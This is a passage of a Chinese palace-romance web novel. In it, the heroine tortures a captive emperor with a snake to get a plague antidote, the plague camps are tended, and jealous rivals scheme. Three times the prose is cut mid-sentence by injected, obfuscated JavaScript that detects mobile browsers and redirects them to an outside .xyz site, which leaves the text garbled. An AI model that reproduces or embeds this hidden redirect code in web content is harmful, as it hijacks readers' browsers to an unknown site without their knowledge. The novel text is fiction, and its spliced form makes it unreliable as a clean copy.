袭匀看着躺在马背上对他咬牙切齿的慕容清,嗤笑一声,抬手便要砍向他的后颈。 慕容清咬牙,“你敢动朕试试?”真是虎落平阳被犬欺,他堂堂北襄六王爷、如今又是一国之尊,何时受过这样的窝囊气? 袭匀早就看不惯他了,现在都落在他手上了,还拽个什么劲,抬手砍向他的后颈,然后扯下腰带,将他的双手紧紧的绑了起来。 那位主帅看着众人策马而去的身影,无奈的握了握拳,对身后道:“秋月大人呢,快去通知秋月大人去救皇上!” 到了军营,袭匀将慕容清重重的丢下了马,然后将他提进了营帐内。 北宫喆将安文夕抱下了马,然后引着她进了营帐,安文夕看着地上躺着的慕容清眼底闪过一抹厌恶,她本来就打算绑了慕容清,逼着他拿出解药,没想到他竟卑鄙到给她下药! 不待北宫喆吩咐,她便直接道:“用凉水让他清醒清醒。” 一旁的侍卫顿时一愣,北宫喆立即怒斥道:“照她吩咐做。” 一盆冷水下去,慕容清立即睁开了双眼,冰凉的水顺着他的发梢汩汩流下,样子极为狼狈。 慕容清像是忍受着巨大的侮辱,双眸盛满了怒意,额头上因为过度愤怒而青筋暴露。 “北宫喆,我是不会放过你的!”然后他阴鸷的眼风扫向安文夕,“迟早有一天,你的江山,你的女人都是我的!” 北宫喆蓦地想起了今天的事情,若是他晚来一步,后果真是不堪设想,他倏地握起双拳,重重的砸向慕容清。 “好了!”安文夕立即出声制止,她的双眸锁住慕容清道:“我问你,解药呢?” 慕容清轻蔑的扫了她,然后扭过头去。 安文夕嘴角微勾,从腰间摘下一个极小的竹笼,取出里面的小青蛇,然后慢慢的将它叫醒。 她一直随身带着小青蛇,不过由于小青蛇冬季绝大部分的时间都在冬眠,故而她一般不怎么去打扰它。 可是今天,她突然觉得小青蛇睡了这么久,似乎该进食了! 慕容清看着安文夕手心中盘城一团的青色的小东西,心中顿时一寒,浑身如同被滑腻湿寒的东西爬过一般,心头涌出一阵毛骨悚然。 “不说么,我就想办法让你说。”安文夕随意的摆弄着手中的小青蛇,小东西长长的蛇尾绕着安文夕小指玩的不亦乐乎。 “你知不知道,这条竹叶青最喜食人血,最喜欢享受从人的皮肤下面破体而出的快感,你要不要试一下呢?”安文夕扯过他的手腕,拿出**一下下的比划着。 北宫喆看着安文夕抓着慕容清的手腕,双眸内掠过一抹淡淡的不悦。 “从这里一刀切下,然后将它埋进去,想必它一定很喜欢。”安文夕嘴角挂着丝魅人的笑,明明是那样的明艳,却让人感到寸寸寒凉。 “安文夕,你敢——” 慕容清不曾想到眼前的女人竟然如此歹毒,此时恨不得将她**万段! “还是不说么?”安文夕说着手起刀落,飞快的在慕容清手腕处划开了一道血口,她没什么不敢。攀在她手腕上的小青蛇闻道血腥味,急不可待的爬动着身子,朝那抹血红而去。 小东西欢喜的先是吐着信子舔舐着溢出的鲜血,然后伸出牙齿想继续咬破他的肌肤,钻进他的血肉,安文夕见机立即捉回了小青蛇。 那滑腻的触感令慕容清一阵恶寒,当看到小青蛇那鲜红的信子,心中的信念顿时坍塌。 “解药在我手上这枚扳指里面。”慕容清看到那小东西脱离了自己的肌肤,顿时松了口气。 北宫喆从慕容清右手拇指上摘下那枚玉质扳指,摩挲了一周,按住机关将扳指拆开,这扳指果然是空心的,里面赫然躺着一粒黑褐色的药丸。 “慢着,这里有不洁的河水么,就是使百姓染病的水?” “有,属下这就给……给娘娘取回来。” 看着安文夕嘴角噙着的笑意,慕容清双眸骤缩,顿时明白了她的意思。 北宫喆看着面前的女人笑得像个狐狸,他心中微微泛出暖意,幸好她从未用这些招数对付过他。 “安文夕,你放肆,不要再挑战朕的底线!”慕容清看着安文夕手中的水怒吼道。 “你如今不过是朕的阶下之囚,还有资格说不么?”北宫喆讥道。 慕容清蓦地一滞,却只能眼睁睁的看着安文夕朝自己走来。 “谁知道你给我的解药是真是假?你向来狡诈多变,不拿你试试又怎能知道?” “我何时骗过你!” “何时?”安文夕忍不住嗤笑一声,这个人的脸皮真不是一般的厚。 “夕儿,给我。”北宫喆从安文夕手中将水接过来,一把捏住慕容清的下巴,一股脑的灌了下去。 “咳咳……”慕容清眼底迸出一抹浓烈的杀意。 北宫喆、安文夕,他绝不会放过他们,竟敢这么对他!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16421691|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“先观察一晚上,明日你若是得了瘟疫就给你用你的那粒解药,我只相信你身体的反应。”安文夕勾唇。 “夕儿,已经很晚了,你先去睡吧。”北宫喆看着她道。 安文夕略略一惊,她要去哪里睡? “朕带你去,走吧。”北宫喆牵起她的手。 当触到他的手,安文夕脸上蓦地一烫。想起刚才的缠绵,脸色越发发绯红,尽管她几乎完全不记得,但身体的酸胀提醒着她的热情,她的主动。 慕容清看着二人相携而去的背影,双眸中血红一片,眼底恨意肆意翻涌。给与他这样羞辱的人,都得死,都得死! 北宫喆出了营帐唤来风明道:“增加守卫,务必看紧他!” “是!”风明立即应是,抬头看了眼安文夕,心中暗道,果然是瑾淑妃,刚才的时候来得匆忙,根本没有看清。 “皇上和瑾淑妃的营帐在这里,皇上请随微臣来。” 安文夕看着风明,微微一滞,手心却冷不丁的被人狠狠捏了一下,然后那人将她的手握的更紧了,拉着她往前走。 到了营帐后,安文夕抿了抿唇,对北宫喆道:“我想洗个澡?” 如今干净的水源缺失,就是吃水都是个问题,更别说洗澡了。 安文夕也知道这一点,可是经过刚才那场云雨,她的身体酸楚不堪、粘糊糊的一片,实在难受的厉害。 北宫喆扫了她一眼,然后掀开帐帘,对外面吩咐道:“去准备洗澡水,朕要沐浴。” 营帐外面的侍卫冒着触怒龙颜的危险,咬了咬牙道:“启禀皇上,军中清洁的水勉强只够明天的饮用了,只怕……” “去准备一下,朕要沐浴。”北宫喆再次说道。 “皇上……” 安文夕将外面的对话听得清清楚楚,立即跑过去,一把将北宫喆拉了回来道:“我不沐浴了,睡觉吧。” 北宫喆眼底飞快的划过一抹笑意,任由她拉着走向床榻。 安文夕看着身后的男人,抿了抿嘴角道:“我睡里面,你睡外面。” “好。”北宫喆一口答应。 安文夕甩开他的手,将鞋袜褪掉,直接和衣睡在了里侧。 北宫喆随即一一褪下身上的衣物,挨着她睡下,一把揽住她,大手将她身上的衣物一件件褪下。 安文夕一阵惊呼,立即弹坐起来,紧紧的抓住身上的衣服。 “穿这么多衣服睡不舒服,朕不动你。”北宫喆敢想扯下她的衣物,她立即侧身避开他的手。 “朕何时强迫过你?” “你强迫我的还少么,在青末山庄那次……” “你难道不知道朕为什么强迫你么?” 他强要了她,是因为他在生气,他生气她竟然要和楚君昱一起去西楚。她是他的女人,还妄想招惹其他的男人! 安文夕咬住了下唇,握了握拳道:“你走开,我自己来。” 本以为她会发火、排斥他,结果没有,她温顺的如同一只小绵羊一般,老实的躺在他的身侧,就连他将她拥在怀里,她都没有反抗。只一会工夫,她便沉沉睡去,想必这一日奔波早就累坏了。 第126章 朕不拦你 第一百二十六章朕不拦你 第二日一早,安文夕醒来,却发现身旁的男人将她紧紧的拥在了怀中,她蓦地一惊,昨晚不是分好了位置么,为何他不守约定? 察觉到身下小人儿的动静,北宫喆睁开眼睛道:“你醒了?” 安文夕微微往里挪动了一下,咬了咬唇,“现在可以放开了我吧。” 出乎意料的是北宫喆真的就收回了手,半晌幽幽的来了句,“昨晚,是你自己往朕怀里钻的。” 什么?安文夕睫毛倏地一颤。 “你看,朕都快被你挤下去了。” 安文夕抬眸扫了眼,自己身子里侧果然空着一大片的位置,而北宫喆睡在床榻的边缘,并且稍不注意就会翻下床去,难道是自己昨晚睡得太沉的缘故么? 安文夕抿了抿嘴角,不动声色的往里挪了挪身子,然后一下子翻过身去,不去看他。 “呵……”北宫喆浅浅低笑一声,看着她这幅难得的可爱的小模样,恨不得将她紧紧的禁锢在怀中。 他慢慢凑到安文夕身侧,飞快的在她的脸颊上落下一吻,然后翻身下榻。 柔软的触感令安文夕心中一滞,猛然回头,却发现北宫喆已经穿好了衣服,回头脸色淡然的对她道:“你多睡会,一会用早膳的时候,朕再来叫你。” 北宫喆走后,安文夕再也睡不着,披衣起身,洗漱完毕出了营帐。 欢凉和袭匀早早的起了床,看见她出来,立即迎了上来道:“公主,你一直没有出来,我们也不敢进去打扰你。” “你们身上的伤如何了?” 袭匀淡道:“不过是些皮肉伤罢了,你师兄我可是纯爷们!” “慕容清那里怎样了?”安文夕边走边问。 “欢凉不知,北宫喆已经过去了。” “那咱们也赶紧过去吧。”安文夕率先迈动了脚步。 营帐内,慕容清双目血红,嘴唇干裂脱皮,脸色有些发黑,整个人看起来都有些浮肿,这些正是瘟疫的初期症状。他有气无力的躺在地毯上,恨恨的看着一旁的北宫喆,注意到她进来,眸光更加怨恨起来,只是现在的他虚弱不堪,就连眸光也少了分锐利。 “看他的样子像是得了瘟疫。” 北宫喆点点头,“已经给他吃过药了,现在就静观其变。” “我想那药应该是真的没错。”安文夕看了眼慕容清道。 慕容清几不可见的哼了一声。 “你赶紧出去吧,这瘟疫会传染的。” “好。”安文夕应了一声。 刚走两步却被北宫喆牵住手道:“差不多也该用早膳了,朕陪你一起去吧。” 安文夕没有同意,但也没有从他的手中挣脱出手,这对北宫喆而言,无疑是默认了,他顿时心情颇好的微微扬起了嘴角。 欢凉略略有些惊讶的看着牵手的二人,难道公主还是忘不了他么? “走吧。”袭匀提醒了一下她。 “公主她……”欢凉咬了咬唇。 袭匀叹了口气,“唉,其实她一直都放不下北宫喆,却偏偏欺骗自己,用仇恨麻痹自己,然而她始终都不能控制自己的心呐,否则,她也不用这么痛苦了。” “可是,公主她不能和北宫喆在一起啊,他们之间隔着血海深仇啊!” “你这个傻丫头,爱情无关其他,一旦心动,即便是家国之仇也阻止不了他们彼此爱上对方。”袭匀嘴角噙着淡笑,目光深邃,说着突然停下了脚步,伸手将欢凉抵在一旁的大树上,一瞬不瞬的盯着她的眼睛道:“丫头,这么多年,你难道不明白师兄对你的心意么?” 鼻翼之间萦绕着他的气息,就如那晚在潇湘馆一般,让人避无可避。欢凉脸颊蓦地一红,一把推开他,咬牙道:“我要去吃早饭了。”然后逃离一般的跑开了。 袭匀看着她的背影有些寂寥的扯了扯嘴角,明明都是聪慧的女子,为何却总是逃避自己的内心呢? 平常勇敢到危险之时连命都可以不要,却偏偏在这里选择了退缩。 冬日一过,月清绝便开始摇起了他的羽扇,此时脸上带着些不悦绕道袭匀身后,将羽扇一合,在他的肩膀上狠狠的敲了一下。 “我说你这个人真是卑鄙,趁着我不在竟敢骚扰小丫头,你看,人都被你吓跑了。” 袭匀凉凉的瞥了他一眼,转身欲走,衣袖却被人拉住,只听月清绝拧着眉道:“本公子告诉你,小丫头是我的,你别总是动手动脚的,我看在你是她师兄的份上,以前就不和你计较,以后若是再让我看到……” 月清绝还未说完,袭匀忍不住嗤笑一声,勾唇道:“请问你是她什么人,管得倒宽,我们师兄妹的事情不用你插手!” “我要想娶她的人!”月清绝嘴角洋溢着自信的笑,手里的羽扇轻摇。 “就你?一个花心至极的、有事没事摇着一把破扇子的闷骚公子?”袭匀忍不住鄙夷。 月清绝一听,立即一把收了扇子,别在腰间,然后指着袭匀道:“你可以侮辱我的长相,但却不可以侮辱我的品格,你给我说清楚谁花心至极,本公子那叫风流倜傥,万花丛中过,片叶不沾身,那叫洒脱。至今你听说过本公子和哪家的姑娘拉扯不清?还有,本公子生得仪表堂堂,在长相上你也侮辱不了!” 袭匀不耐烦的掏了掏耳朵,他今日算是败在了月清绝这张嘴下。 “有本事咱们公平竞争。” 月清绝一甩刘海,应道:“竞争就竞争,本公子怕你不成,小丫头只能是我的!” 袭匀淡淡扫了他一眼,丢下一句“不自量力”便沿着刚才欢凉的方向走去。 用过早膳,月清绝研究了半天那半粒黑褐色的药丸,终于一拍桌案道:“我知道这药的成分是什么了!” “多长时间能配出药来?” 月清绝扫了眼北宫喆撇了撇嘴,这个人永远都是直切主题。 “配药很简单,但是有一味药这里没有,我得回一趟枫月谷。” “可是这一来一回,只怕要耗费不少时间。”安文夕蹙眉。 “这样吧,我给无**鸽传书,让她将药带来。” 北宫喆点点头,“目前也只能这样了。” 月清绝捏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16421692|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着那半粒黑褐色的药丸,捶胸顿足道:“你们怎么直接给慕容清吃了半粒,严重浪费啊!”他不就晚来那么一会会么,他们就不声不响的将那半粒药丸喂了慕容清,他真是恨不得将药从慕容清肚子里给抠出来。 北宫喆从月清绝手中夺过那半粒药,装进小瓷瓶,看着安文夕道:“夕儿,朕得赶回济州,你就待在这里吧,毕竟瘟疫还没有蔓延到这里。” “不,我也要回去,这件事到底和我有关,我怎么能袖手旁观?”安文夕眼底浮现一抹决绝。 “好,你和朕一起去。”北宫喆见她一愣,又继续道,“到了济州,你若是想走,朕不拦你。” 安文夕抿了抿嘴角,率先走出了营帐。 月清绝看着安文夕的背影对北宫喆道:“真想不到有一天,你竟然可以为了一个女人如此委曲求全。” “朕愿意。”北宫喆扔下这三个字,跨出了营帐。 月清绝看着北宫喆拽拽的模样撇了撇嘴,这为情所困的男男女女都是一群疯子。嗯,他也是! 北宫喆临走之前,吩咐风明将慕容清看牢,然后为安文夕准备了辆马车,安文夕嫌马车太慢,直接在马厩里牵了匹马。 一路上北宫喆担心安文夕身体吃不消,从沐阳到济州足足用了四个时辰。 不过一日不见,济州上街上的患病之人明显少了很多,街上的医馆也陆续开放,不少病人正在排队问诊。 安文夕看着眼前这一幕,眼底横扫过一抹惊色。 “昨日青玄已经将事情办得差不多了。” “原本那些躺在街头上的患病之人呢?” “青玄将他们带到了城南。” “什么?”安文夕眉头一蹙。 “根据染上瘟疫人群的病情在城南民宅区分别进行隔丨离,不会将他们活活烧死的。” “我想去那里看看。” 北宫喆手中白绸一闪,直接将安文夕从另一匹马上带到自己身前,一起她一阵惊呼。 “北宫喆,你这是干什么?” “你不是要去城南么,朕带你去。”北宫喆说着双腿一夹马腹。 “我自己会骑马,不会你带,难不成你还怕我逃了不成?” “朕若是怕,就不会带你去城南。”北宫喆圈紧了她的纤腰,扬起了马鞭。 马上颠簸的厉害,安文夕便不再扭动,老实的坐在他身前,靠着他的胸膛,心里突然涌出一种安心的感觉。 月清绝对欢凉和袭匀道:“你们不如跟我回营,城南那里病患严重,多去一个人就多一分危险。” “月公子,欢凉是那种贪生怕死的人么?” “不是说怕死不怕死,青玄也在那里,你放心,你的公主是不会有事的。” 欢凉抿了抿嘴角,刚想朝着安文夕的方向策马,却被袭匀一下子挡住了去路,“臭丫头,他说的有道理,小师妹不会出事的,更何况,我们在那里也是累赘,还是先回去吧。” 月清绝看着欢凉调转了马头,笑道:“这就对了嘛,你帮我抓药配药也是一样的,也算是为这场瘟疫尽力了。” 第127章 城南瘟疫 第一百二十七章城南瘟疫 南城平民宅,位于济州郊外,这里向来是贫民窑,不仅环境又脏又乱,而且这里是三教九流鱼目混杂之地,在这里烧杀掳掠随处可见,只有流浪之人或者极度贫寒之人,才会被逼无奈来到这里。 如今,瘟疫横行,众多的瘟民涌进这里,一度使得这里的状况更加混乱了起来。 北宫喆带着安文夕骑马不过半个时辰,已经来到了南城,北宫喆将安文夕抱下了马,拉着她走进了平民宅。 说是平民宅,不过是零散的几处久经失修的茅草房,勉强可以容身而已。北宫喆刚走进去,就有人立即单膝下跪道:“属下参见皇上。” 安文夕认得这人,在青末山庄时,他曾多次阻拦她靠近竹林,好像叫作白羽。 因着刚进去民宅区,故而几乎没有人看到这一幕。 “皇上、瑾淑妃,这是白绢,你们带上之后再进去吧。” 安文夕接过他递来的白绢,蒙住了口鼻,这些白绢没有经过任何消毒,其实起不了什么作用。 进了平民宅,地上随处可见那些染了瘟疫的人有气无力的躺着,时而还可以听见他们痛苦的呻吟。因为贫民宅内的茅草屋稀少,许多人只能躺在地上,甚至是垃圾堆上。 安文夕看着他们痛苦挣扎的模样,心中一痛。 往前走了不远,一股恶臭便迎面而来,一条细窄的流水出现在了众人视线面前,这水本是一条从山上流下来的小溪,由于长期堆满垃圾的缘故,此时水面污浊不堪,俨然像一条臭水沟,有些人躺在溪流一旁,渴了直接就爬到水沟里喝点水。 幸好现在不是夏季,不然蚊蝇滋生,瘟疫会更加难以控制。 “这些都是一些瘟病比较严重的,如今只能在这里痛苦的等死。”白羽叹了口气。 “这里没有干净的水源了么?”北宫喆沉声问。 “回皇上,这里的水就是干净的也是被下了瘟病的。” “可以将水煮沸了再饮用,情况会好得多。”患有瘟疫的大多数是平民百姓,平时不注意,都是直接饮用河里打来的水,才会染病上身。 再往里走,是刚刚染上瘟疫的人群,才表现出来浅显的症状来,此时正忙着准备大家的晚饭。 前方传来一阵嘈杂,安文夕抬眸看去,离这里五百米处的角落里哭喊声一片。立在人群中青衣袂袂的男子正是青玄,而他的身边还有几个羽卫打扮的人。 “那里发生了何事?” “那里离人群较远,青大人选择那里焚烧尸体,有些人不忍看着家人被烧死,所以哭嚎一片。” 离得近了,安文夕才听见青玄和那几位羽卫正在耐心的劝服哀嚎不绝的死者家属。 “爹……求求你们不要烧我爹……” “娘子,大人,我家娘子她没死,她只是睡着了……” “求求你们,求求你们……” 不少人哭喊着要靠近那堆在一起的尸体,都被羽卫紧紧的拦在了外面。 “他们身上带着瘟病,你们不要靠近。” “他们的尸体若是不焚烧的话,尸体腐烂只会加重瘟疫,还会扩大瘟疫的蔓延。” “皇上!”有羽卫看见了北宫喆朝这里走来,立即单膝跪地道:“属下参见皇上!” 刚才正在哭喊的人群看了眼齐齐下跪的青玄等人,愣了神,转眸看到如冷颜绝绝,白若冠玉,俊美到极致却也冷**人到极点的北宫喆,不敢再看第二眼,顿时双腿一软,皆跪倒在地。 “皇……皇上……” “草民……草民参见皇上。” “皇上,求您不要烧我爹……”一个十几岁的小男孩跪在地上不停地磕头。 “都起来吧,你们若是不想死,就知道该如何做。”北宫喆清朗的声音在众人头顶响起。 这清润的嗓音令众人心中齐齐一震,顿时收住了哭声。 “但凡有想将尸体带走的朕绝不阻拦,现在你们就可以将自己的亲人带回家安葬,但若若是瘟疫蔓延的话,整个济州城将会变成一座空城,你们可要想好了!” 北宫喆话音一落,人群中顿时陷入一阵死寂。 半晌,有人小声道:“草民一切都听皇上的。” 有人开了头,接下来立即有人接着道:“一切都听皇上的。” 安文夕打量了眼眼前的人群,最后那个正在抹泪的男人正是他们那天借宿在那户人家的那位老实木讷的大叔。 安文夕立即走了过去道:“大叔。” 大叔抬头看了她一眼,半晌才认了出来道:“是你,公子你怎么会在这里?” 她身上依旧是凤公子那身男装,头发也全部束在了头顶,大叔没有认出她是女子也在情理之中。 “我随皇上来这里察看瘟疫情况,大婶她……”看着大叔伤心欲绝的模样,安文夕心中也已经猜到了几分,昨天她见时,大婶就已经一病不起了。 “你大婶她……”提到大婶,大叔立即泣不成声,“她今天早晨就……就不行了……” 大叔看着躺在一旁的大婶,眼泪纵横,“你怎么能抛下我一个人……” “大叔,您节哀……”安文夕抿了抿嘴角,低声劝道,“大婶她一定希望你能健康活着。” 大叔微微点了点头,看了安文夕一眼,然后看向北宫喆道:“草民全凭皇上做主。” 北宫喆看着那堆在一起的尸体,黑瞳骤缩,沉声道:“点火!” 远远地看着那堆尸体慢慢染成灰烬,许多人的眼睛通红一片,捂着嘴巴低声抽泣。 那火一直烧了半个时辰才慢慢熄灭,此时天色已暗,平民宅内开始掌了灯。 北宫喆将剩下的半粒药丸融进晚饭的稀粥里,给每个人分了一点,希望可以减缓瘟疫病情的恶化。 安文夕在贫民宅内走了一圈,双眸打量着四周的景象,对身侧的青玄道:“明日去医馆买些苍术和雄黄,在这里四处焚烧苍术,一定要生出烟来,将我们戴的这些白绢放上去熏烤。将雄黄研成细末撒在各个角落里,或者火烧烟熏,这样可以阻断瘟疫蔓延。” “是,瑾淑妃,青玄记下了。” “夕儿,你奔波整整一天了,上午都没有用膳,过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16426801|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来吃点东西。”北宫喆朝她走来。 安文夕倒没有觉得饿,只是觉得双腿酸的厉害,脑袋也有些晕。 “你去吃吧,我还不饿,我还想再看一看。” 北宫喆霸道的一把拉住她的手,“天都黑了,明日再看也不迟。你既然不饿,我们便回营吧。” 安文夕略略点头,北宫喆对青玄吩咐道:“留下几个人守在这里,其他人回营,让人去知府衙门一趟,通知官差来这里看守。”由于知府在这次瘟疫中贪生怕死、处置不当,早已经被撤了职。 安文夕脸上写满了倦意,北宫喆将她带上马,安文夕坐在马背上,靠着北宫喆的胸膛,困意渐渐袭来,不多一会,便枕着北宫喆沉沉入睡。 北宫喆揽着她,让她靠在他的胸膛上,将速度行至最低,青玄和其他羽卫皆在北宫喆身后慢慢的跟着。 到了军营之后,北宫喆小心的将安文夕从马背上抱了下来,生怕吵醒她。 江向晚在她的营帐内不停地踱着步子,脸上有抹焦急,喆从昨天去找安文夕,如今都整整一天了,怎么还没有一点消息。难道是被慕容清给劫在了沐阳不成,她心里越想越急。 “小姐小姐……”雪嫣急急忙忙的冲进了营帐内。 看着她****躁躁的样子,江向晚眼底闪过一抹不悦,莽莽撞撞的像个什么样子。瞥见她浮在脸上的喜色,江向晚压制心中的怒火,对雪嫣道:“是不是皇上有消息了?” 雪嫣点点头,“小姐,皇上回来了!” “回来了?”江向晚一颗悬着的心终于落了下来,心中涌起一阵巨大的喜悦,她转身欲跨出营帐去找北宫喆。 “小姐……”雪嫣立即拦住了她道:“小姐,皇上是和瑾淑妃一起回来的。” “那个女人也回来了?”江向晚闻言顿时眸光一凛。 雪嫣点点头,有些不敢去看江向晚的神色,自从小姐再次醒来以后,脾气就变得有差又火爆,以前那个温婉的小姐再也没有了,她常常生怕说错了话,惹得小姐厌烦。 她犹豫了一下道:“瑾淑妃不仅回来了,而是还是由皇上抱着回来的。” 江向晚闻言果然脸色一变,她握了握拳,没有发作。 “皇上抱着她进了主营帐,只怕现在……”只怕现在帝妃二人已经歇下了,小姐您去不太合适。 只是后面那半句,雪嫣是无论如何也不敢说的。 江向晚贝齿轻咬着红唇道:“我知道了,你下去吧。” 雪嫣看着江向晚极力隐忍怒气,心中突然又涌出一抹心疼来。 江向晚看着雪嫣吞吞吐吐的样子,脸色一沉,厉声道:“有话就说,杵在那里做什么?” “小姐,我听羽卫说,今**上带着瑾淑妃去了城南的贫民窑,一直忙道现在才回来。” 江向晚眼底飞快的闪过一抹精光来,对雪嫣淡吐道:“你去问一下明**上是否还会去贫民窑,若是去的话,大约什么时辰?” “奴婢知道了。” 雪嫣走后,江向晚不甘心的握着拳,纤长的指甲全部掐进肉里犹不自觉。 第128章 你笑什么 第一百二十八章你笑什么 “可惜了你蓄那么久的指甲了。”身后传来惊魂的声音,江向晚蓦然回头,惊道:“你怎么在这里?还是说,你一直都在?” “这都不重要,晚儿,你别再执迷不悟了,不要再去抓住那些虚幻的东西。” “虚幻?”江向晚嘴角勾起了一抹讥笑,“怎么是虚幻呢?喆可是千抬为聘,半年后,我就会成为大夏的皇后,这可是板上钉钉的事情!” “呵……”惊魂低低的笑了。 江向晚眉眼一敛,“你笑什么?” “我笑你傻。”惊魂嘴角幽默苦涩,她当真以为皇上会娶她为后么?是个人都可以看得出来皇上将一门心思全部放到了瑾淑妃身上,和皇上比肩携手的女子也只会是瑾淑妃。他笑她太傻太痴,被自己的心魔所困。真是当局者迷,旁观者清。 江向晚眸光一敛,声音骤然变冷,“你若是来给我说这个的话,就请回吧,不送!” “晚儿,你别生气,我今晚来是想跟你商量回承安一事。” “喆在这里,我是不会回承安的,要回你就自己回吧。”江向晚决绝道。 “晚儿,别赌气行吗?你身体刚刚好一点,你在这里只会给皇上添乱。”惊魂欲上前拉她。 江向晚倏地往后一退,皱眉道:“你做什么,难道你不知道男女授受不亲么,更何况我和喆已经定下婚姻。” 惊魂眼底划过一抹受伤,她的每一次对他避之不及,每一声“喆”都狠狠的刺痛了他的心。 “你放心,我在这里绝不会给喆添乱,相反,我还会尽我所能去帮助他,就像以前那样,他去哪,我就去哪,帮他处理好身边的琐事,夫唱妇随!” 呵,夫唱妇随…… 惊魂微微勾了勾唇,嘴角的笑意十分勉强,“既然如此,你早点休息。” 微风掀动了帐帘,将清油吹得影影幢幢,跳跃的油灯下,惊魂的背影别样的寂寥落寞。 主营帐内,安文夕睁开朦胧的睡眼,看了眼正准备为她脱衣的北宫喆,顿时清醒了过来。 “不用这么提防朕,朕只是给你脱衣服罢了。” “我自己来就好。”安文夕立即拒绝了北宫喆。 “你既然醒了,不如吃点东西吧,你除了早晨喝点了稀粥,一天都没有进食了。” “可是,我不饿。”安文夕说话时带着些睡意的朦胧,倒显出几分鲜有的娇嗔来。 “起来,朕让他们做点稀粥小菜来,你多少吃一点。”北宫喆一把将她从榻上拉了起来。 粥菜被端上来之后,安文夕早就困的不成样子,不过才喝了两口粥,就捧着粥碗,昏昏欲睡,差点将整张脸全部埋进碗里。 北宫喆无奈的叹了口气,直接将她抱上了床,安文夕再次恢复了一瞬间的清醒,看了北宫喆一眼,翻了个身找了个舒服的位置,便沉沉睡去。 北宫喆一阵皱眉,她怎么这么嗜睡了?难道是息子魂殇的缘故? 他褪下了衣衫,翻身上榻,一掌熄灭了摇曳的灯火,强劲的臂弯将她圈在怀中,安文夕也没有反抗,抱着他的胳膊睡得香甜。 虽然知道她是无意识的动作,但北宫喆还是在黑暗中勾起了嘴角。 第二日醒来,已经日上三竿,她的身边早已没有了北宫喆,由于昨天没怎么进食,今早醒来,腹中空空,饿得厉害,早膳的时候一阵狼吞虎咽。 用过早膳,她问了外面的侍卫才知道北宫喆早就去了城南,并且让侍卫嘱咐她今日不必再去南城,好好的睡一觉,安文夕的心中没由来的涌出一阵暖意。 好像,她真的是越陷越深,越来越没有勇气杀他了,这可怎么办?安文夕抿着唇坐在梳妆镜前,看着她早已光洁的额头,睫毛轻颤。她的额头已经和那块从北宫喆胸前剜下来的皮肉长在了一起,完全看不出半点痕迹。 难道就像他所说的那样,她永远也逃不开他么? “公主。”欢凉和袭匀掀开帐帘走了进来,安文夕立即收了神思。 “小师妹,你还不知道吧,慕容清逃走了。” 逃走了?安文夕微微一滞,慕容清狡猾多端,而那个曾经被她狠狠欺负了一次的风明刚正纯良,怎么会是那老奸巨猾慕容清的对手,他能逃走也在意料之中。 “你倒是一点也不紧张,你那日那样对他,你也不怕他来寻仇。” “就是我不那样对他,他也不会放过我。” “这个倒是。”袭匀点了点头。 安文夕这才发现欢凉一脸凝色,顿时开口道:“欢凉,你是不是有事要对我说?” “公主,晟世子留下了一封信,然后回了南昭。” 袭匀不动声色的低嗤了一声。 安文夕接过欢凉递来的信,扫了一眼,然后睡下了眼睑,睫毛轻颤。 信上说南昭王病重,藩王意图谋反,特令晟哥哥和香韵公主回朝。反正她一开始就不支持晟哥哥回来和慕容清结盟,如今他走了也好。 只不过…… 安文夕挽了黛眉,她曾用胭脂醉为凤青轩捞得了不少银两,招兵买马,筹集了五万人马,这件事她根本没有对晟哥哥提过,他怎么突然想借用她手中的人去南昭**藩王?难道这是子目告诉他的? 安文夕咬了咬唇,这到底借还是不借?不借的话要怎样跟晟哥哥开口,若是借的话,这五万人马势必是回不来了,她手中没有属于自己的势力,她真的有些不安心。 “公主,不能借,这些人已经是我们最后的底牌了。” “小师妹,欢凉说的对,这件事还得慎重。” 安文夕点点头道:“那便不借吧,你们随我一起去南城。” 江向晚一大早就和雪嫣赶在北宫喆之前跑来了南城,待看到民宅区内大楚痛处呻吟的人群,呼吸了几口污浊的空气后,江向晚微微皱了眉头,不愿再往前走,这里比她想象的要更加糟糕。 雪嫣有些害怕的拉了拉江向晚的衣角,她是真的不想进去,里面瘟疫横行,她不想将命扔在这里。她看到江向晚有些迟疑,立即抓住机会劝道:“小姐,我们回吧,你身子娇贵,这里是污秽之地,若是 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“皇上并不知,如今沐阳交战,瘟疫横行,皇上操劳国事,我要为他分担些才是。”江向晚巧笑嫣然,一举一动,俨然一副皇后之尊。 青玄蓦地一滞,明白了江向晚的来意,心中不由得暗叹:江小姐您那身子衰败的厉害,您只要自个儿不出状况就不错了,怎么敢劳烦您来这里帮忙呢? 